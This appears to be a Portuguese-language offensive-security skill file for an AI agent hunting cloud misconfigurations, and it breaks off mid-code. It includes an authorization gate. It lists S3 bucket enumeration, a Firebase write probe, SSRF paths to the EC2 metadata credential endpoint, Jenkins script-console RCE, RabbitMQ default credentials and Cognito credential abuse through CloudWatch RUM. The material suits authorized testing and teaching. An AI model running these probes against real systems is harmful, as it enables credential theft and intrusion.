hunt-cloud-misconfig

⚠️ USO AUTORIZADO APENAS Esta habilidade destina-se apenas a fins educacionais ou avaliações de segurança autorizadas. Você deve ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso indevido desta ferramenta é ilegal e estritamente proibido.

Portão de confirmação obrigatório Antes de executar qualquer comando que sonde, explore, altere, persista, extraia dados ou tente acesso a credenciais contra um alvo:

1. Peça ao usuário para declarar o URL exato, IP, conta ou recurso alvo.
2. Peça ao usuário para confirmar a autorização por escrito e o escopo permitido.
3. Mostre o(s) comando(s) exato(s) e explique seu efeito esperado.
4. Aguarde a confirmação explícita na conversa atual.

Sem essa confirmação, permaneça apenas em modo de leitura e forneça orientação defensiva. Prefira um sandbox, VM descartável ou laboratório controlado.

16. CONFIGURAÇÕES INCORRETAS DE NUVEM / INFRA

S3 / GCS / Azure Blob

# S3 listing
curl -s "https://TARGET-NAME.s3.amazonaws.com/?max-keys=10"
aws s3 ls s3://target-bucket-name --no-sign-request

# Try common bucket names
for name in target target-backup target-assets target-prod target-staging; do
  curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/"
done

# Firebase open rules
curl -s "https://TARGET-APP.firebaseio.com/.json"   # read
curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"'  # write

Metadados EC2 (via SSRF)

http://169.254.169.254/latest/meta-data/iam/security-credentials/  # role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME  # keys

Painéis de Administração Expostos

/jenkins  /grafana  /kibana  /elasticsearch  /swagger-ui.html
/phpMyAdmin  /.env  /config.json  /api-docs  /server-status

Falha na restrição SSO do Jenkins → RCE no Console de Script

Um Jenkins exposto que autentica QUALQUER conta pessoal do Google/OAuth (falta de restrição de domínio organizacional) é um comprometimento total: faça login e, em seguida, /script (console Groovy) = RCE, e /credentials + /scriptText = tokens de API armazenados e divulgação de código-fonte. Divulgado: reports/231460.

Broker de mensagens exposto (RabbitMQ / AMQP) com credenciais padrão

Sonde o gerenciamento do RabbitMQ (http://TARGET:15672/, API :15672/api/overview) e AMQP :5672; tente as credenciais padrão guest:guest (funciona fora do localhost quando loopback_users está mal configurado) → leitura de fila/mensagem, enumeração de vhost, plugin de gerenciamento de administrador. Divulgado: reports/753602.

Ferramentas de verificação local

Para testar descobertas de configurações incorretas de nuvem contra um simulador AWS local antes/em vez de acessar a nuvem real:

# LocalStack 3.0 community (pin the version — 4.x requires a Pro license)
docker run -d --name lab-localstack -p 14566:4566 localstack/localstack:3.0

# awscli ≥ 2.30 + LocalStack 3.0 incompatibility workaround (x-amz-trailer header):
export AWS_REQUEST_CHECKSUM_CALCULATION=when_required
export AWS_RESPONSE_CHECKSUM_VALIDATION=when_required
export AWS_ENDPOINT_URL=http://localhost:14566
export AWS_ACCESS_KEY_ID=test AWS_SECRET_ACCESS_KEY=test AWS_DEFAULT_REGION=us-east-1

Sem essas variáveis de ambiente, aws s3 cp/sync falha com InvalidRequest. Documente isso para a equipe. Veja docs/verification/phase2j-cloud-localstack.md para o fluxo reproduzível completo.

Weaponization do CloudWatch RUM (superfície de 2024-2026)

AWS CloudWatch RUM (Real-User Monitoring) é um serviço de telemetria do lado do cliente lançado no final de 2021. Os clientes incorporam um snippet JS em suas páginas que envia eventos de desempenho/erro para dataplane.rum.<region>.amazonaws.com. A configuração AppMonitor do snippet contém um identityPoolId (Cognito) e um guestRoleArn (função IAM) — ambos públicos por design. A política da função IAM é a fronteira de segurança e, quando os desenvolvedores a deixam mais ampla do que o mínimo documentado (rum:PutRumEvents no ARN do AppMonitor), todo o pool se torna a máquina de distribuição de credenciais AWS não autenticadas descrita em cloud-iam-deep → cadeia de Identity Pool do Cognito.

Detecção — Impressões digitais de pacotes JS

Estilo Snippet (mais comum, incorporado em <head>):

(function(n,i,v,r,s,c,x,z){...})(
  'cwr',
  '00000000-0000-0000-0000-000000000000',                       // applicationId (UUID)
  '1.0.0',
  'us-east-1',
  'https://client.rum.us-east-1.amazonaws.com/1.x/cwr.js',
  {
    sessionSampleRate: 1,
    guestRoleArn: "arn:aws:iam::123456789012:role/RUM-Monitor-...-Unauth",
    identityPoolId: "us-east-1:abcd1234-...",
    endpoint: "https://dataplane.rum.us-east-1.amazonaws.com",

…